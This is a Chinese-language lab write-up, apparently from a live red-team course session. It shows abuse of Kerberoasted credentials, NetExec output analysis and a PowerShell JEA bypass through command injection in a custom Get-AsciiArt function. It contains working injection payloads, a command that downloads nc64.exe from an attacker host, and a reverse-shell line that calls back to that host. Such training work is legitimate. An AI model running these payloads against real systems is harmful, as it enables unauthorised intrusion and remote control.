目 录CONTENT

文章目录

红队行动Live-20241130

Administrator
2025-05-14 / 0 评论 / 0 点赞 / 14 阅读 / 0 字

📚 目录

1. 开篇:回顾与当前进展

2. 再谈凭据验证结果与攻击者洞察

3. 解决 PowerShell Remoting 连接问题 (Kali 旧版本演示)

4. JEA 受限 Shell 绕过实战 (ADFS 服务器)

5. 获得稳定交互式 Shell

6. 权限困境与 NetExec 误判分析 (Pwn3d? 的再思考)

7. 后续方向与总结


1. 开篇与回顾 (PS Remoting 难题)

1.1 本周目标:解决登录,绕过 JEA

本次直播(周六)的核心目标是接续上周(周二)因 PowerShell Remoting 连接问题中断的进度。具体来说,是在成功通过 Kerberoasting 获得 adfs_svc 账户凭据 (S3cur!ty) 后,尝试登录 ADFS 服务器 (192.168.20.15),并绕过可能存在的 JEA (Just Enough Administration) 受限 Shell,最终获得对该服务器的完全控制。

尽管上周已通过 nxc winrm 命令确认该凭据有效并标记为 (Pwn3d!),表明其拥有本地管理员级别的访问权限,但在实际使用 evil-winrm 登录时,却遇到了命令执行受限的问题。

1.2 课程规划与 NetExec 工具后续

  • 当前进度回顾: 完成了 Kerberoasting 攻击,获得了 adfs_svc 的凭据。

  • 本周储备技术讲解: 主要围绕 WinRM、Evil-WinRM、PSRemoting 的原理、配置和排错。

  • NetExec (nxc) 工具: 上周已大量拓展,剩余约三分之一内容将在后续穿插讲解。

  • 下周规划:

    • 周二: 深入讲解 nxc 的更多细节。

    • 下下周: 重点攻略 ADFS。

  • 整体趋势: 随着深入域环境,概念和工具会密集出现,要求学员具备扎实基础。

2. 再谈凭据验证结果与攻击者洞察

2.1 NetExec (nxc smb) 输出的三种用户状态解读

再次回顾使用 nxc smb 进行凭据碰撞时的结果分类,深化理解:

  1. [+] ... (Guest):

    • 现象: 认证尝试“成功”,但用户会话被映射为 Guest。

    • 原因:

      • 目标系统(如DC)可能配置了允许 Guest 匿名访问的策略。

      • 提供的用户名在域中不存在,但认证机制仍然接受了该次尝试并将其归为 Guest 会话。

    • 对攻击者意义: 通常无效。表明提供的用户名和密码组合不是一个有效的、具有特定权限的域账户

  2. [-] ... STATUS_LOGON_FAILURE:

    • 现象: 明确的登录失败。

    • 原因: 用户名可能在域中存在,但提供的密码是错误的。也可能是用户名根本不存在。

    • 对攻击者意义: 标记为登录失败的用户名 (如 robert, ralph, emma) 值得特别关注,因为它们很可能是真实存在的域账户,只是当前密码不对。这些账户是后续信息收集或攻击尝试的潜在目标。

  3. [+] <DOMAIN>\<USER>:<PASSWORD> (无 (Guest) 标记):

    • 现象: 认证成功,且不是 Guest 会话。

    • 原因: 提供了完全正确的域用户名和密码,并且该账户具有访问目标服务的权限。

    • 对攻击者意义: 这是真正有效的域凭据,是后续横向移动、权限提升的关键入口 (如此处发现的 mark:\$U135@t0x053c)。

核心洞察: 仔细分析 nxc 的输出,特别是区分 Guest 登录和真实用户登录失败,对于准确评估凭据有效性和制定下一步攻击策略至关重要。

2.2 NetExec/CrackMapExec 工具哲学

  • 定位: nxc (NetExec) 及 CrackMapExec (CME) 是平台级的、功能强大的渗透测试工具,其核心能力可概括为:

    • Crack (破解/验证): 进行凭据验证、密码喷洒、哈希传递等。

    • Map (枚举/映射): 发现和枚举网络中的主机、服务、用户、组、共享、会话、策略等。

    • Exec (执行): 在已获得访问权限的目标上执行命令或模块。

  • 优秀工具的特质 (高级渗透视角):

    • 透明性与可控性: 允许操作者清晰理解工具行为,并能精确控制其参数和执行流程,而非“黑盒”式的高度集成化。

    • 基于协议: 工具的行为应能清晰映射到底层网络协议的交互。

    • 模块化与扩展性: 提供灵活的模块接口,便于扩展和定制功能。

  • NXC/CME 的优势: 它们提供了丰富的命令行选项,让用户能细致地控制攻击的各个方面,更接近手动渗透的思维方式,有助于深入理解攻击原理。这与一些高度自动化、封装较深的框架(如 Metasploit 的某些模块)形成对比。

  • Impacket 的角色: nxc 大量依赖 Impacket 库进行底层协议交互。学习 Impacket 源码有助于更深层次地理解这些工具的工作方式和网络协议本身。

2.3 备选工具与排错策略 (Evil-WinRM 的多种实现)

当一个常用工具(如 evil-winrm)遇到问题时,除了直接调试其底层依赖(如 PS Remoting),还可以寻找并尝试该工具协议的其他实现或替代品。

  • 背景: evil-winrm 的报错( invoke-expression 不被识别)提示其实现方式可能与当前环境不完全兼容。

  • 思路: WinRM 服务是核心,WS-Management 是其协议。既然 evil-winrm 是对 WinRM 服务的一种封装利用,那么理论上存在其他语言或库实现的 WinRM 客户端。

  • 示例 (Ruby 实现的 winrm_shell.rb):

    • https://github.com/Alamot/code-snippets/tree/master/winrm

      winrm_shell_with_upload.rb


    • 在 GitHub 等代码托管平台搜索 "WinRM client"、"WS-Management library" 等关键词,可以找到不同语言(Python, Ruby, Go, Java 等)的实现。

    • 本次演示中尝试了一个 Ruby 实现的 winrm_shell.rb 脚本。

      # winrm_shell.rb
      require 'winrm-fs'
      
      # Author: Alamot
      # To upload a file type: UPLOAD local_path remote_path
      # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
      
      conn = WinRM::Connection.new( 
        endpoint: 'http://192.168.20.15:5985/wsman',
        transport: :ssl,
        user: 'adfs_svc',
        password: 'S3cur!ty',
        :no_ssl_peer_verification => true
      )
      
      file_manager = WinRM::FS::FileManager.new(conn) 



    • 结果: 该 Ruby 脚本连接后也遇到了与 evil-winrm 类似的受限 Shell 报错。这进一步印证了问题不在于 evil-winrm 工具本身,而是目标环境通过 JEA 等机制限制了 Shell 的能力。

  • 价值: 这种“换工具/换实现”的排错方法,有助于区分是工具的 Bug、特定实现的问题,还是目标环境的限制。

3. 解决 PowerShell Remoting 连接问题 (Kali 旧版本演示)

3.1 Kali 版本与 pwsh 模块兼容性问题回顾

  • 问题核心: 在较新的 Kali Linux 版本上(尤其是滚动更新后),即使安装了 powershell (pwsh)、gss-ntlmsspPSWSMan 模块,通过 Enter-PSSession 连接 Windows 目标时仍大概率失败,提示 WS-Man 客户端库找不到或不可用。

  • 原因分析: 这主要归咎于微软对 PowerShell Core 跨平台组件(特别是 WS-Man 模块)的维护不佳,以及 Kali Linux 底层库和依赖频繁更新可能导致的兼容性冲突。

3.2 在 Kali 2023.4 (无更新) 环境下配置 PSRemoting

为了演示一个“已知良好”的环境,本次直播切换到了一个未进行滚动更新的 Kali Linux 2023.4 版本虚拟机。

3.2.1 验证 pwsh 版本与模块 (PSWSMan) 安装

  1. 启动 pwsh:

    ┌──(root㉿kali)-[~/Desktop/APTLabs]
    └─# pwsh               
    PowerShell 7.2.6
    Copyright (c) Microsoft Corporation.
    
    https://aka.ms/powershell
    Type 'help' to get help.
    • 显示 PowerShell 版本 (此环境中为 7.2.6,新版 Kali 可能为 7.4.x)。

  2. 检查/安装 PSWSMan 模块:

    # 检查模块是否已安装
    Get-Module -ListAvailable PSWSMan
    # 如果未安装,则执行安装
    Install-Module -Name PSWSMan -Force -Scope CurrentUser
    # 安装 WSMan 支持库
    Install-WSMan -Force
    # 重启 pwsh 会话使模块生效
    exit
    pwsh

3.2.2 确认 gss-ntlmssp 已安装

sudo apt list --installed | grep gss-ntlmssp
# 或尝试安装,如果已安装会提示
sudo apt install gss-ntlmssp

┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# dpkg -l | grep -E 'gss-ntlmssp|powershell'\n
ii  gss-ntlmssp                                    1.2.0-1+b1                              amd64        GSSAPI NTLMSSP Mechanism -- MIT GSSAPI plugin

┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# dpkg -l | grep -E 'gss-ntlmssp|powershell'\n
ii  gss-ntlmssp                                    1.2.0-1+b2                              amd64        GSSAPI NTLMSSP Mechanism -- MIT GSSAPI plugin

没更新前是+b1更新后是+b2
  • 此库为 Linux 提供 NTLM 认证能力。Parrot OS 可能需要手动安装,Kali 某些版本可能自带。

3.3 成功执行 Enter-PSSession 连接 ADFS 服务器

在配置妥当的 Kali 2023.4 环境的 pwsh 中:

Enter-PSSession -ComputerName 192.168.20.15 -Credential 0x0security\adfs_svc -Authentication Negotiate -Verbose
# 输入密码: S3cur!ty

┌──(root㉿kali)-[/root/Desktop/APTLabs]
└─PS> Enter-PSSession -ComputerName 192.168.20.15 -Credential 0x0security\adfs_svc -Authentication Negotiate -Verbose                                       
PowerShell credential request
Enter your credentials.                                                                                                                                     
Password for user 0x0security\adfs_svc: ********

[192.168.20.15]: PS>
  • 结果: 连接成功。命令行提示符变为远程主机的路径,如 [192.168.20.15]: PS C:\Users\adfs_svc\Documents>

  • 这证明了在特定(旧版或未受干扰的)Kali 环境下,PSRemoting 是可以正常工作的,进一步说明了之前连接失败是环境兼容性问题。

4. JEA 受限 Shell 绕过实战 (ADFS 服务器)

4.1 确认 JEA 环境 (NoLanguage 模式)

即使通过 Enter-PSSession 成功连接,Shell 的行为依然受限:

4.1.1 执行 Get-Command 查看允许的命令

[192.168.20.15]: PS> get-command

CommandType     Name                                               Version    Source                                                                                  
-----------     ----                                               -------    ------                                                                                  
Function        Clear-Host                                                                                                                                            
Function        Exit-PSSession                                                                                                                                        
Function        Get-AsciiArt                                                                                                                                          
Function        get-childitem                                                                                                                                         
Function        Get-Command                                                                                                                                           
Function        Get-FormatData                                                                                                                                        
Function        Get-Help                                                                                                                                              
Function        Get-NetIPAddress                                   1.0.0.0    NetTCPIP                                                                                
Function        Get-ProcessID                                                                                                                                         
Function        Get-ProcessName                                                                                                                                       
Function        Invoke-CommandCMD                                                                                                                                     
Function        Measure-Object                                                                                                                                        
Function        Out-Default                                                                                                                                           
Function        Select-Object                                                                                                                                         
Cmdlet          Get-Member                                         3.0.0.0    Microsoft.PowerShell.Utility                                                            
Cmdlet          Select-Object                                      3.0.0.0    Microsoft.PowerShell.Utility 
  • Clear-Host:清除命令行界面的内容,相当于清屏操作。

  • Exit-PSSession:退出当前的 PowerShell 会话。如果是远程会话,这会断开连接。

  • Get-AsciiArt:这不是 PowerShell 的标准函数,可能是自定义函数或由第三方模块提供,用于生成 ASCII 艺术。

  • Get-ChildItem:列出目录中的项,如文件和子目录,类似于 UNIX 中的 ls 命令或 Windows 命令行的 dir 命令。

  • Get-Command:获取所有可用的命令,包括 cmdlet、函数、工作流等。

  • Get-FormatData:获取指定类型的格式化数据信息。

  • Get-Help:显示有关 PowerShell 命令的帮助信息。

  • Get-NetIPAddress:获取网络接口的 IP 地址信息。它是 NetTCPIP 模块的一部分。

  • Get-ProcessID:这似乎是一个自定义函数,可能用于获取进程 ID。

  • Get-ProcessName:同样,这看起来是一个自定义函数,可能用于获取进程名称。

  • Invoke-CommandCMD:可能是一个自定义函数,用于执行命令行命令,但不是 PowerShell 的标准命令。

  • Measure-Object:计算对象的属性值,如计算文件大小或字符串长度等。

  • Out-Default:将输出发送到默认的输出格式器和输出设备,如控制台屏幕。

  • Select-Object:选择对象的某些属性或根据特定条件筛选对象。这是 PowerShell 中非常强大的一种数据操作方式。

  • Get-Member:显示对象的属性和方法。

  • Select-Object(重复列出):用于选择对象的部分属性或基于某些条件筛选对象。

========================

  • 输出结果显示只有少数几个命令可用,如 Clear-Host, Exit-PSSession, Get-ChildItem (别名 gci, ls, dir), Get-Command, Get-Help, Get-Member, Select-Object, 以及一些自定义函数如 Get-AsciiArt, Invoke-CommandCMD。标准命令如 hostname, ipconfig, systeminfo 均无法执行。

4.1.2 分析 $PSSenderInfo 报错信息 (ScriptsNotAllowed, NoLanguage mode)

尝试访问自动变量 $PSSenderInfo

[192.168.20.15]: PS> $SHELL
The syntax is not supported by this runspace. This can occur if the runspace is in no-language mode.
    + CategoryInfo          : ParserError: ($SHELL:String) [], ParseException
    + FullyQualifiedErrorId : ScriptsNotAllowed
 
[192.168.20.15]: PS> $PSSenderInfo
The syntax is not supported by this runspace. This can occur if the runspace is in no-language mode.
    + CategoryInfo          : ParserError: ($PSSenderInfo:String) [], ParseException
    + FullyQualifiedErrorId : ScriptsNotAllowed

  • 报错:“此语法不受此运行空间支持。如果运行空间处于无语言模式 (no-language mode),可能会发生此情况。”

  • 关键信息: NoLanguage mode (无语言模式)。

4.2 PowerShell 语言模式详解

PowerShell 有多种语言模式,用于控制会话中可执行的操作,以增强安全性:

模式名称

描述

功能限制

使用场景

FullLanguage

完整语言模式,
支持所有 PowerShell 功能。

没有限制,
可使用脚本块、变量、外部程序等。

默认模式,
适用于管理员和开发者。

RestrictedLanguage

受限语言模式,
只允许基本变量赋值和部分操作。

禁止脚本块({}),
不允许定义函数或导入模块。

用于限制用户在敏感环境中的操作范围。

NoLanguage

无语言模式,
不允许脚本或命令,只能运行被授权命令。

禁止变量赋值、
脚本块、模块导入,
只能执行 cmdlet。

适用于 JEA 和高隔离环境。

ConstrainedLanguage

受约束语言模式,
限制危险操作,
如 COM 访问、外部程序集。

限制外部程序调用、
部分第三方模块不可用。

用于设备防护
(如 Device Guard)环境。

  • FullLanguage: 默认模式,支持所有 PowerShell 功能(脚本块、变量、模块导入、.NET 调用等)。

  • RestrictedLanguage: 限制性较强,仅允许基本变量操作和少量安全 Cmdlet,禁止脚本块、定义函数、导入模块等。

  • NoLanguage: 最严格模式,完全禁用 PowerShell 脚本语言。不能运行脚本,不能使用变量,只能执行预定义的、显式授权的 Cmdlet 和函数。常用于 JEA 端点。

    https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.5

  • ConstrainedLanguage: 限制某些“危险”操作,如调用 .NET 类型、访问 COM 对象、启动外部程序等。用于 Device Guard 等场景。

JEA 与 NoLanguage 模式的关系: JEA 配置通常将其端点设置为 NoLanguage 模式,以最大限度地限制用户能力,仅允许执行 JEA 角色能力文件中明确定义的命令。

4.3 JEA 绕过通用思路回顾

再次强调绕过受限 Shell 的通用策略:

功能名称

描述

实现细节

安全优势

限制命令集

只允许运行指定 PowerShell 命令,避免越权操作。

在角色功能文件(.psrc)中通过 VisibleCmdlets 指定允许命令。

限制用户执行最小权限命令集。

角色功能定义文件

精细化配置允许的 cmdlet、
函数、脚本等。

使用 .psrc 文件指定 VisibleCmdletsVisibleFunctionsVisibleProviders

实现最小权限原则,配置灵活。

语言模式

默认使用 NoLanguage
禁止用户自定义脚本等行为。

通过 LanguageMode = 'NoLanguage' 实现。

防止脚本注入、恶意代码执行。

运行上下文

使用代理账户执行操作,
与实际用户隔离权限。

使用虚拟账户或“以账户运行”方式执行命令。

提高隔离性,避免权限被滥用。

  1. 枚举和分析允许的命令: 这是首要和核心的步骤。

  2. 利用自定义命令的漏洞: 自定义函数/脚本比系统自带命令更容易出问题。

  3. 诱导报错以收集信息。

  4. 检查配置文件和环境变量。

  5. 利用允许的外部命令。

4.4 尝试利用自定义函数 Get-AsciiArt

image-raoc.png

4.4.1 查看函数定义 (Get-Command -ShowCommandInfo Get-AsciiArt)

[192.168.20.15]: PS> Get-Command -ShowCommandInfo Get-AsciiArt

Name          : Get-AsciiArt
ModuleName    : 
Module        : @{Name=}
CommandType   : Function
Definition    : 
                    param([string]$type='coffee')
                $coffeebreak=@"
                         {
                      {   }
                       }_{ __{
                    .-{   }   }-.
                   (   }     {   )
                   |`-.._____..-'|
                   |             ;--.
                   |            (__  \
                   |             | )  )
                   |             |/  /
                   |             /  /   
                   |            (  /
                   \             y'
                    `-.._____..-'
                "@
                $smokebreak=@"
                                   (  )/  
                                    )(/
                 ________________  ( /)
                ()__)____________))))) 
                "@
                    $art=switch($type){
                	coffee {$coffeebreak}
                	smoke {$smokebreak}
                    }
                    if(!$art){$art=$type}
                    $ExecutionContext.InvokeCommand.ExpandString($art)
                    
ParameterSets : {@{Name=__AllParameterSets; IsDefault=False; Parameters=System.Management.Automation.PSObject[]}}

[192.168.20.15]: PS>get-command -ShowCommandInfo Invoke-CommandCMD                                                                        

Name          : Invoke-CommandCMD
ModuleName    : 
Module        : @{Name=}
CommandType   : Function
Definition    : 
                    param([switch]$verbose) 
                    $params=@{}
                    $params["command"] = "Get-NetIpAddress"
                    $params["verbose"] = $verbose
                    invoke-expression @params
                    
ParameterSets : {@{Name=__AllParameterSets; IsDefault=False; Parameters=System.Management.Automation.PSObject[]}}

分析函数定义,找到关键代码行:

# ... (函数参数和变量定义) ...
$ExecutionContext.InvokeCommand.ExpandString($art)
  • $art 变量的值最终由 -type 参数控制。

  • $ExecutionContext.InvokeCommand.ExpandString() 这个方法会扩展 (执行) 其参数中的 PowerShell 表达式。

4.4.2 发现 $ExecutionContext.InvokeCommand.ExpandString(\$art) 未过滤参数

函数直接将用户提供的(或默认的)-type 参数内容(存于 $art)传递给 ExpandString,没有进行任何过滤或清理。

4.4.3 命令注入绕过 (Get-AsciiArt -type '$(<command>)')

由于 ExpandString 会执行其参数中的表达式,可以通过构造 -type 参数的值为 $(<任意PowerShell命令>) 来执行任意命令。

# 测试执行 whoami
[192.168.20.15]: PS> Get-AsciiArt -type '$(whoami)'
0x0security\adfs_svc

[192.168.20.15]: PS>Get-AsciiArt -type '$(get-location)'                 
C:\Users\adfs_svc\Documents

# 测试列出桌面文件
[192.168.20.15]: PS> Get-AsciiArt -type '$(Get-ChildItem C:\Users\adfs_svc\Desktop)'
# 或者 Get-AsciiArt -type '$(dir C:\Users\adfs_svc\Desktop)'
    Directory: C:\Users\adfs_svc\Desktop
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        <Date>         <Time>             XX flag.txt

4.4.4 gc与gci

Get-AsciiArt -type '$(gci c:\users\adfs_svc\desktop\)'
Get-AsciiArt -type '$(gc c:\users\adfs_svc\desktop\flag.txt)'
  • $(...) 是 PowerShell 的子表达式扩展。

  • gciGet-ChildItem 的简写,会列出 desktop 文件夹下的所有文件。

  • 如果 Get-AsciiArt 没有限制参数类型,它会执行子表达式,等效于:Get-AsciiArt -type 'flag.txt'

  • gcGet-Content 的简写,会读取 flag.txt 的内容。

  • 假设文件内容是 CTF{flag123},则命令等效于:Get-AsciiArt -type 'CTF{flag123}'

4.4.5 获取 flag (APTLABS{AiNt_J3a_Ju\$T_Gr3At})

# 或者 Get-AsciiArt -type '$(cat C:\Users\adfs_svc\Desktop\flag.txt)'

[192.168.20.15]: PS>Get-AsciiArt -type '$(get-content c:\users\adfs_svc\desktop\flag.txt)'

APTLABS{AiNt_J3a_Ju$T_Gr3At}

成功通过 Get-AsciiArt 函数的命令注入漏洞绕过了 JEA 限制,读取了 flag 文件。

5. 获得稳定交互式 Shell

通过 JEA 绕过执行单个命令不够方便,需要一个稳定的交互式 Shell。

5.1 上传 nc64.exe

5.1.1 本地 HTTP 服务器 (sudo php -S 0:80)

在攻击机(Parrot OS)上,使用 PHP 快速启动一个 HTTP 服务器,用于托管 nc64.exe

# 在 nc64.exe 所在目录执行
sudo php -S 0.0.0.0:80

5.1.2 远程下载 (wget ... -outfile C:\programdata\nc64.exe)

在 JEA 受限 Shell 中,利用 Get-AsciiArt 的注入漏洞执行 wget (PowerShell 中的 Invoke-WebRequest 别名) 下载 nc64.exe 到目标机的 C:\ProgramData\ 目录 (该目录通常对多数用户可写)。

PowerShell

[192.168.20.15]: PS>Get-AsciiArt -type '$(wget http://10.10.16.111/nc64.exe -outfile C:\programdata\nc64.exe)'

5.2 执行反弹 Shell

5.2.1 本地监听 (sudo rlwrap -cAr nc -lvnp 443)

在攻击机上使用 nc (配合 rlwrap 增强交互性) 监听 443 端口。

sudo rlwrap -cAr nc -lvnp 443
  • rlwrap: 提供行编辑和历史记录功能。

  • -cAr: rlwrap 选项,自动补全,识别参数。

  • -l: 监听模式。

  • -v: 详细输出。

  • -n: 不进行 DNS 解析。

  • -p 443: 监听的端口。

5.2.2 远程执行 (Start-Job {C:\programdata\nc64.exe <attacker_IP> 443 -e powershell.exe})

在 JEA 受限 Shell 中,利用注入漏洞执行 Start-Job 在后台启动 nc64.exe 反弹 PowerShell。

[192.168.20.15]: PS>Get-AsciiArt -type '$(Start-Job {C:\programdata\nc64.exe 10.10.16.111 443 -e powershell.exe})'
  • Start-Job: 在后台运行命令,避免当前 JEA 会话卡死。

  • -e powershell.exe: nc 参数,连接成功后执行 powershell.exe

5.3 确认 Shell 权限 (whoami, pwd 等)

攻击机成功接收到反弹 Shell,具有 0x0security\adfs_svc 用户权限的完整 PowerShell 交互环境。

PS C:\Users\adfs_svc\Documents> whoami
whoami
0x0security\adfs_svc
PS C:\Users\adfs_svc\Documents> pwd
pwd

Path                       
----                       
C:\Users\adfs_svc\Documents

PS C:\Users\adfs_svc\Documents> cat ../desktop/flag.txt
cat ../desktop/flag.txt
APTLABS{AiNt_J3a_Ju$T_Gr3At}
PS C:\Users\adfs_svc\Documents> 

Flag5
APTLABS{AiNt_J3a_Ju$T_Gr3At}

PS C:\Users\adfs_svc\Documents> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State  
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS C:\Users\adfs_svc\Documents> 



PS C:\Users\adfs_svc\Documents> whoami /all
whoami /all

USER INFORMATION
----------------

User Name            SID                                           
==================== ==============================================
0x0security\adfs_svc S-1-5-21-1203346422-2024322971-1674203895-1106


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192                                                    


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State  
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
PS C:\Users\adfs_svc\Documents> 

PS C:\Users\adfs_svc\Documents> whoami /upn
whoami /upn
adfs_svc@0x0security.local
PS C:\Users\adfs_svc\Documents> 

PS C:\Users\adfs_svc\Documents> ipconfig -all
ipconfig -all
Windows IP Configuration
   Host Name . . . . . . . . . . . . : adfs
   Primary Dns Suffix  . . . . . . . : 0x0security.local
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : 0x0security.local

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
   Physical Address. . . . . . . . . : 00-50-56-B0-6D-F8
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 192.168.20.15(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.20.1
   DNS Servers . . . . . . . . . . . : 192.168.20.10
                                       1.1.1.1
   NetBIOS over Tcpip. . . . . . . . : Enabled
PS C:\Users\adfs_svc\Documents> 

PS C:\Users\adfs_svc\Documents> Get-ComputerInfo | more
Get-ComputerInfo | more

WindowsBuildLabEx                                       : 17763.1.amd64fre.rs5_release.180914-1434
WindowsCurrentVersion                                   : 6.3
WindowsEditionId                                        : ServerStandard
WindowsInstallationType                                 : Server
WindowsInstallDateFromRegistry                          : 1/2/2020 11:07:41 AM
WindowsProductId                                        : 00429-80716-06128-AA506
WindowsProductName                                      : Windows Server 2019 Standard
WindowsRegisteredOrganization                           : 
WindowsRegisteredOwner                                  : Windows User
WindowsSystemRoot                                       : C:\Windows
WindowsVersion                                          : 1809
BiosCharacteristics                                     : 
BiosBIOSVersion                                         : 
BiosBuildNumber                                         : 
BiosCaption                                             : 
BiosCodeSet                                             : 
BiosCurrentLanguage                                     : 
BiosDescription                                         : 
BiosEmbeddedControllerMajorVersion                      : 
BiosEmbeddedControllerMinorVersion                      : 
BiosFirmwareType                                        : 
BiosIdentificationCode                                  : 
BiosInstallableLanguages                                : 
BiosInstallDate                                         : 
BiosLanguageEdition                                     : 
BiosListOfLanguages                                     : 
BiosManufacturer                                        : 
BiosName                                                : 
BiosOtherTargetOS                                       : 
BiosPrimaryBIOS                                         : 
BiosReleaseDate                                         : 
BiosSeralNumber                                         : 
BiosSMBIOSBIOSVersion                                   : 
BiosSMBIOSMajorVersion                                  : 
BiosSMBIOSMinorVersion                                  : 
BiosSMBIOSPresent                                       : 
BiosSoftwareElementState                                : 
BiosStatus                                              : 
BiosSystemBiosMajorVersion                              : 
BiosSystemBiosMinorVersion                              : 
BiosTargetOperatingSystem                               : 
BiosVersion                                             : 
CsAdminPasswordStatus                                   : 
CsAutomaticManagedPagefile                              : 
CsAutomaticResetBootOption                              : 
CsAutomaticResetCapability                              : 
CsBootOptionOnLimit                                     : 
CsBootOptionOnWatchDog                                  : 
CsBootROMSupported                                      : 
CsBootStatus                                            : 
CsBootupState                                           : 
CsCaption                                               : 
CsChassisBootupState                                    : 
CsChassisSKUNumber                                      : 
CsCurrentTimeZone                                       : 
CsDaylightInEffect                                      : 
CsDescription                                           : 
CsDNSHostName                                           : 
CsDomain                                                : 
CsDomainRole                                            : 
CsEnableDaylightSavingsTime                             : 
CsFrontPanelResetStatus                                 : 
CsHypervisorPresent                                     : 
CsInfraredSupported                                     : 
CsInitialLoadInfo                                       : 
CsInstallDate                                           : 
CsKeyboardPasswordStatus                                : 
CsLastLoadInfo                                          : 
CsManufacturer                                          : 
CsModel                                                 : 
CsName                                                  : 
CsNetworkAdapters                                       : 
CsNetworkServerModeEnabled                              : 
CsNumberOfLogicalProcessors                             : 
CsNumberOfProcessors                                    : 
CsProcessors                                            : 
CsOEMStringArray                                        : 
CsPartOfDomain                                          : 
CsPauseAfterReset                                       : 
CsPCSystemType                                          : 
CsPCSystemTypeEx                                        : 
CsPowerManagementCapabilities                           : 
CsPowerManagementSupported                              : 
CsPowerOnPasswordStatus                                 : 
CsPowerState                                            : 
CsPowerSupplyState                                      : 
CsPrimaryOwnerContact                                   : 
CsPrimaryOwnerName                                      : 
CsResetCapability                                       : 
CsResetCount                                            : 
CsResetLimit                                            : 
CsRoles                                                 : 
CsStatus                                                : 
CsSupportContactDescription                             : 
CsSystemFamily                                          : 
CsSystemSKUNumber                                       : 
CsSystemType                                            : 
CsThermalState                                          : 
CsTotalPhysicalMemory                                   : 
CsPhyicallyInstalledMemory                              : 
CsUserName                                              : 
CsWakeUpType                                            : 
CsWorkgroup                                             : 
OsName                                                  : 
OsType                                                  : 
OsOperatingSystemSKU                                    : 
OsVersion                                               : 
OsCSDVersion                                            : 
OsBuildNumber                                           : 
OsHotFixes                                              : 
OsBootDevice                                            : 
OsSystemDevice                                          : 
OsSystemDirectory                                       : 
OsSystemDrive                                           : 
OsWindowsDirectory                                      : 
OsCountryCode                                           : 
OsCurrentTimeZone                                       : 
OsLocaleID                                              : 
OsLocale                                                : 
OsLocalDateTime                                         : 
OsLastBootUpTime                                        : 
OsUptime                                                : 
OsBuildType                                             : 
OsCodeSet                                               : 
OsDataExecutionPreventionAvailable                      : 
OsDataExecutionPrevention32BitApplications              : 
OsDataExecutionPreventionDrivers                        : 
OsDataExecutionPreventionSupportPolicy                  : 
OsDebug                                                 : 
OsDistributed                                           : 
OsEncryptionLevel                                       : 
OsForegroundApplicationBoost                            : 
OsTotalVisibleMemorySize                                : 
OsFreePhysicalMemory                                    : 
OsTotalVirtualMemorySize                                : 
OsFreeVirtualMemory                                     : 
OsInUseVirtualMemory                                    : 
OsTotalSwapSpaceSize                                    : 
OsSizeStoredInPagingFiles                               : 
OsFreeSpaceInPagingFiles                                : 
OsPagingFiles                                           : 
OsHardwareAbstractionLayer                              : 
OsInstallDate                                           : 
OsManufacturer                                          : 
OsMaxNumberOfProcesses                                  : 
OsMaxProcessMemorySize                                  : 
OsMuiLanguages                                          : 
OsNumberOfLicensedUsers                                 : 
OsNumberOfProcesses                                     : 
OsNumberOfUsers                                         : 
OsOrganization                                          : 
OsArchitecture                                          : 
OsLanguage                                              : 
OsProductSuites                                         : 
OsOtherTypeDescription                                  : 
OsPAEEnabled                                            : 
OsPortableOperatingSystem                               : 
OsPrimary                                               : 
OsProductType                                           : 
OsRegisteredUser                                        : 
OsSerialNumber                                          : 
OsServicePackMajorVersion                               : 
OsServicePackMinorVersion                               : 
OsStatus                                                : 
OsSuites                                                : 
OsServerLevel                                           : FullServer
KeyboardLayout                                          : 
TimeZone                                                : (UTC-08:00) Pacific Time (US & Canada)
LogonServer                                             : 
PowerPlatformRole                                       : Desktop
HyperVisorPresent                                       : 
HyperVRequirementDataExecutionPreventionAvailable       : 
HyperVRequirementSecondLevelAddressTranslation          : 
HyperVRequirementVirtualizationFirmwareEnabled          : 
HyperVRequirementVMMonitorModeExtensions                : 
DeviceGuardSmartStatus                                  : Off
DeviceGuardRequiredSecurityProperties                   : 
DeviceGuardAvailableSecurityProperties                  : 
DeviceGuardSecurityServicesConfigured                   : 
DeviceGuardSecurityServicesRunning                      : 
DeviceGuardCodeIntegrityPolicyEnforcementStatus         : 
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus :

6. 权限困境与 NetExec 误判分析 (Pwn3d? 的再思考)

6.1 systeminfo 等命令依然访问被拒

在通过 nc 获得的 PowerShell 反弹 Shell 中,尝试执行 systeminfo 等命令时,仍然提示“Access denied”。

PS C:\users\adfs_svc\desktop> systeminfo
systeminfo
ERROR: Access denied
